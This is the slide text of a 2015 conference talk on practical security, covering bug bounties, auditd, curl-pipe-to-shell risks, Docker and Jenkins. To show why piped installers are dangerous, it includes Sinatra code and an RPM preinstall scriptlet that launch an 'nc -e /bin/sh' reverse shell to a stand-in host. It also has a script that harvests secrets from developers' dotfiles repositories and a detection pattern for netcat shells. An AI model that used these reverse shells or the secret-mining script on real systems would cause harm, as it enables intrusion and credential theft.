Tweet
Tweet

Slide 1

Slide 1 text

Security For Non-Unicorns 1 https://www.etsy.com/listing/205741051/unicorn-dog-hat-rainbow-unicorn-dog @benjammingh for SecTor 2015 1

Slide 2

Slide 2 text

Who's this clown? 2 » Infrastructure security at Etsy. » Recovered operations monkey at Puppet Labs. » Own a lot of black t-shirts. » Had 1300 accounts on his high school Linux system. (: 2 https://twitter.com/skullmandible/status/411281851131523072 @benjammingh for SecTor 2015 2

Slide 3

Slide 3 text

Setlist » Intros. (you are here). » Few real world problems & applications. » Fixes, or at least coping mechanisms. » Panicked summary based on time. » Comments thinly masked as questions. @benjammingh for SecTor 2015 3

Slide 4

Slide 4 text

Security! @benjammingh for SecTor 2015 4

Slide 5

Slide 5 text

Unicorns? @benjammingh for SecTor 2015 5

Slide 6

Slide 6 text

The problem security is hard. @benjammingh for SecTor 2015 6

Slide 7

Slide 7 text

From tiny seeds, do mighty acorns grow. » PinkiePwn's 6 tiny bugs in Chrome to full sandbox escape. » Egor Homakov's 5 small bugs in Github to full private access on GitHub. » XSS to remote code execution in under an hour. » Username & password from HVAC system leads to $160+ Million Target breach. @benjammingh for SecTor 2015 7

Slide 8

Slide 8 text

Things that are not security are hard too. @benjammingh for SecTor 2015 8

Slide 9

Slide 9 text

Computerising is hard. No. 1 takeaway for security types is a sense of perspective. (maybe even humility! gasp) @benjammingh for SecTor 2015 9

Slide 10

Slide 10 text

Security people aren't great secure coders. » Snort: 10 CVEs, Wireshark: 322! CVEs » Security Firm Bit9 Hacked, Used to Spread Malware » Joxean Koret on Breaking Antivurius software » Tavis from Project Zero on exploiting ESET » BEST! FireEye just running Apache/PHP as root ! @benjammingh for SecTor 2015 10

Slide 11

Slide 11 text

So who do I trust? » No one? Always a great position for security people, who don't want to get paid. » Everyone? Do I have some emails with funny cats for you to click on. » Security vendors? If you have infinite money and no attackers. » Attackers! @benjammingh for SecTor 2015 11

Slide 12

Slide 12 text

"You're already being probed for security holes, do you want to know or not?" @benjammingh for SecTor 2015 12

Slide 13

Slide 13 text

Bug bounties 101: Have one! Bug Crowd vs. HackerOne @benjammingh for SecTor 2015 13

Slide 14

Slide 14 text

Bug bounties 102: Prepare a lot. @benjammingh for SecTor 2015 14

Slide 15

Slide 15 text

Bug bounties 103: The first few weeks will be hell. @benjammingh for SecTor 2015 15

Slide 16

Slide 16 text

Bug bounties 104: Be ready with bees! @benjammingh for SecTor 2015 16

Slide 17

Slide 17 text

Security on the inside @benjammingh for SecTor 2015 17

Slide 18

Slide 18 text

Armadillo security architecture @benjammingh for SecTor 2015 18

Slide 19

Slide 19 text

@benjammingh for SecTor 2015 19

Slide 20

Slide 20 text

Cloud @benjammingh for SecTor 2015 20

Slide 21

Slide 21 text

Github @benjammingh for SecTor 2015 21

Slide 22

Slide 22 text

@benjammingh for SecTor 2015 22

Slide 23

Slide 23 text

But this doesn't happen in real life, right? @benjammingh for SecTor 2015 23

Slide 24

Slide 24 text

@benjammingh for SecTor 2015 24

Slide 25

Slide 25 text

terrible bash example (don't do this) # for i in $(curl --silent 'https://api.github.com/orgs//members' \ # | grep html_url | cut -f 4 -d '"' | cut -d / -f 4); \ # do ( curl --silent https://api.github.com/repos/$i/dotfiles | grep -q 'Not Found' || \ # git clone https://github.com/$i/dotfiles.git $i ) \ # ; done for i in * ; do [ -d "$i/.git" ] || continue cd $i for revision in $(git rev-list --all) ; do unset PAGER export GIT_PAGER="" # find . -iname \*.key -or -iname \*.pem out="$(git grep -i -E "$1" ${revision} )" if [ $? -eq 0 ] ; then echo "${out}" | LANG="C" sed "s/^/$i: /" fi done cd .. done @benjammingh for SecTor 2015 25

Slide 26

Slide 26 text

Go use Gitrob » http://michenriksen.com/blog/gitrob-putting-the-open- source-in-osint/ » https://github.com/michenriksen/gitrob @benjammingh for SecTor 2015 26

Slide 27

Slide 27 text

Auditd @benjammingh for SecTor 2015 27

Slide 28

Slide 28 text

Auditd Auditd is the best way to get command execution logged in your infrastructure. @benjammingh for SecTor 2015 28

Slide 29

Slide 29 text

Auditd Auditd is the worst way to get this information to a log file. type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000.... typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl" type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax" type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00 @benjammingh for SecTor 2015 29

Slide 30

Slide 30 text

Mark Ellzey on Auditd. @benjammingh for SecTor 2015 30

Slide 31

Slide 31 text

WHY? "Why are the logs multiline?" -- David Shing, aka "Shingy", aka "The Shing", aka "AOL's digital prophet" @benjammingh for SecTor 2015 31

Slide 32

Slide 32 text

Multiline logs are the spawn of The Devil Oracle's Java @benjammingh for SecTor 2015 32

Slide 33

Slide 33 text

Coping with multiline auditd » ELK: multiline filter in Logstash. » Other: github/gdestuynder/Audisp-json » Have cash, want a decent GUI (and more): Go use Threatstack! » Write something yourself in python & golang: I keep promising to OSS this ): @benjammingh for SecTor 2015 33

Slide 34

Slide 34 text

Alert on sketchy things. (assumes ELK) 1. Elastalert from Yelp 2. Alert on "/bin/nc *-e /bin/sh*" 3. You will now find when someone tries to run a reverse shell! 4. Or when yours ops people do fun things. @benjammingh for SecTor 2015 34

Slide 35

Slide 35 text

curl | bash @benjammingh for SecTor 2015 35

Slide 36

Slide 36 text

curl legit.pw | sh @benjammingh for SecTor 2015 36

Slide 37

Slide 37 text

"But I check them, obviously!" @benjammingh for SecTor 2015 37

Slide 38

Slide 38 text

Sinatra example get '/install.sh' do if request.env['HTTP_USER_AGENT'] =~ /curl/ return 'nc -e /bin/sh root.legit.pw 2222 &' else return print_install_code() end end @benjammingh for SecTor 2015 38

Slide 39

Slide 39 text

Sinatra example 2: Payback get '/install.sh' do ip = request.env['HTTP_CLIENT_IP'] if seen_before.include? ip return print_install_code() else seen_before << ip return 'nc -e /bin/sh root.legit.pw 2222 &' end end @benjammingh for SecTor 2015 39

Slide 40

Slide 40 text

@benjammingh for SecTor 2015 40

Slide 41

Slide 41 text

@benjammingh for SecTor 2015 41

Slide 42

Slide 42 text

curl | bash "But this is no worse than packages." foo$ sudo yum install sketchy foo$ sudo aptitude install sketchy @benjammingh for SecTor 2015 42

Slide 43

Slide 43 text

curl | bash "but worse than downloading RPMs from a random site?" foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm foo$ dpkg-sig --verify sketchy.1.33-7.deb @benjammingh for SecTor 2015 43

Slide 44

Slide 44 text

curl | bash root# rpm -qp --scripts sketchy-1.33-7.rpm preinstall scriptlet (using /bin/sh): bash -c 'while : ; \ do \ nc -e /bin/sh root.legit.pw 2222 ;\ done' @benjammingh for SecTor 2015 44

Slide 45

Slide 45 text

Verifiable This doesn't exist: foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify No one has ever done this: foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh @benjammingh for SecTor 2015 45

Slide 46

Slide 46 text

curl | bash "But I trust HTTPS" » HTTPS certs cost ~$6. » If I can't make $6 by owning a system, I should probably stop being an attacker. » @letsencrypt will soon make this free. @benjammingh for SecTor 2015 46

Slide 47

Slide 47 text

curl | bash curl -k @benjammingh for SecTor 2015 47

Slide 48

Slide 48 text

curl --yolo | \ sudo sh --yolo @benjammingh for SecTor 2015 48

Slide 49

Slide 49 text

curl | bash What to do? @benjammingh for SecTor 2015 49

Slide 50

Slide 50 text

A LIVE DEMO, madness. @benjammingh for SecTor 2015 50

Slide 51

Slide 51 text

Lightweight containers! @benjammingh for SecTor 2015 51

Slide 52

Slide 52 text

chroot(8) @benjammingh for SecTor 2015 52

Slide 53

Slide 53 text

FreeBSD Jails @benjammingh for SecTor 2015 53

Slide 54

Slide 54 text

Solaris Zones @benjammingh for SecTor 2015 54

Slide 55

Slide 55 text

AIX WPAR @benjammingh for SecTor 2015 55

Slide 56

Slide 56 text

@benjammingh for SecTor 2015 56

Slide 57

Slide 57 text

Is Docker secure? @benjammingh for SecTor 2015 57

Slide 58

Slide 58 text

>30% of Images in Docker Hub Contain High Priority Security Vulns - Jayanth Gummaraju, Tarun Desikan and Yoshio Turner from BanyanOps @benjammingh for SecTor 2015 58

Slide 59

Slide 59 text

>30% of MSDN CDs contain high priority security vulns @benjammingh for SecTor 2015 59

Slide 60

Slide 60 text

@benjammingh for SecTor 2015 60

Slide 61

Slide 61 text

As secure as Vagrant? @benjammingh for SecTor 2015 61

Slide 62

Slide 62 text

But is Docker itself secure? » Don't run things as root. » No really, stop running things as root. » Did I mention not running things as root. » It is also not 1999. (Docker 1.8 addresses some of this, with it's changes to who it runs as) @benjammingh for SecTor 2015 62

Slide 63

Slide 63 text

Securify the Docker. » Don't use --privileged. » Use --cap-drop all and --cap-drop to get the minimum capabilities. » Use Docker Notary » Use GRSecurity (just do that anyway, if you can.) » Use SELinux... I may as well ask for a pony here. @benjammingh for SecTor 2015 63

Slide 64

Slide 64 text

But is Docker secure? More secure than what? @benjammingh for SecTor 2015 64

Slide 65

Slide 65 text

More secure than what? From whom? @benjammingh for SecTor 2015 65

Slide 66

Slide 66 text

@benjammingh for SecTor 2015 66

Slide 67

Slide 67 text

Threat modelling for beginners 1. what are you actually defending against? 2. from whom? 3. for how much? @benjammingh for SecTor 2015 67

Slide 68

Slide 68 text

Lateral movement > uid=0 @benjammingh for SecTor 2015 68

Slide 69

Slide 69 text

» I am not saying Docker is ZOMG unhackable. » it's just cgroups and namespacing. (just) » Escapes will happen. » They have a rad security team (Hi @diogomonica and @nathanmccauley) @benjammingh for SecTor 2015 69

Slide 70

Slide 70 text

unpinchofsaltd » You can use it in a way that is secure, enough. » network separation & segregation still works. » secrets/credentials still a bigger problem. » PLEASE don't just adopt it because it's new & shiny. » ! " unikernels ✨ $ @benjammingh for SecTor 2015 70

Slide 71

Slide 71 text

Jenkins! @benjammingh for SecTor 2015 71

Slide 72

Slide 72 text

It's entire job is to take arbitrary code and run it, With access to some secret/credential @benjammingh for SecTor 2015 72

Slide 73

Slide 73 text

It's literally remote code execution as a service. @benjammingh for SecTor 2015 73

Slide 74

Slide 74 text

old crufty configs + all your code & secrets @benjammingh for SecTor 2015 74

Slide 75

Slide 75 text

@benjammingh for SecTor 2015 75

Slide 76

Slide 76 text

RCE as a service 6 6 Hacking Jenkins Servers With No Password @benjammingh for SecTor 2015 76

Slide 77

Slide 77 text

Make Jenkins suck fewer * Disable execution on the master Jenkins host. * Disable anonymous access. * (Use travis, if you can) @benjammingh for SecTor 2015 77

Slide 78

Slide 78 text

But what if Jenkins could be harnessed for good? @benjammingh for SecTor 2015 78

Slide 79

Slide 79 text

NOT STOLEN FROM NickG's old 2012 deck. 7 7 Thanks Nick. nickgsuperstar/devopssec-apply-devops-principles-to-security @benjammingh for SecTor 2015 79

Slide 80

Slide 80 text

Jenkins as a force for [security] good » Gauntlt "be mean to your code" » https://github.com/secure-pipeline » Even Adobe blog on secure software, zomg! @benjammingh for SecTor 2015 80

Slide 81

Slide 81 text

@benjammingh for SecTor 2015 81

Slide 82

Slide 82 text

@benjammingh for SecTor 2015 82

Slide 83

Slide 83 text

Summary » Computers are apparently hard. » Security is clearly harder still, obv. » Actually trust and humans is hard. » The typing is the easy bit. (ish) @benjammingh for SecTor 2015 83

Slide 84

Slide 84 text

More Summary » Complex systems lead to much more complex security problems. (see Oauth) » Annual pen-tests don't scale, bug bounties can help. » Attackers are mining any public info you have (GitHub, S3, pastebin?) » No really, go check all your S3 buckets... @benjammingh for SecTor 2015 84

Slide 85

Slide 85 text

Will there be a summary of summaries? » I beg you to stop trusting curl. » Auditd is awful, but it can be fewer awful. » Jenkins, you probably have to have one. » but that can be okay, nay, even useful for security. @benjammingh for SecTor 2015 85

Slide 86

Slide 86 text

A summary appeared, what happened next will shock you » Docker and security can be used in the same sentence. » Understand your threat model (Apple's guide) » Don't be a FireEye, stop running things as root. @benjammingh for SecTor 2015 86

Slide 87

Slide 87 text

Thank you » Twidder: @benjammingh » LinkedIn: lnkdin.me/p/benyeah » FidoNet: 2:254/524.13 » JitHub: github.com/barn » SpeakerDeck: speakerdeck.com/barnbarn » Etsy: Careers <--- CodeAsCraft <--- our blog @benjammingh for SecTor 2015 87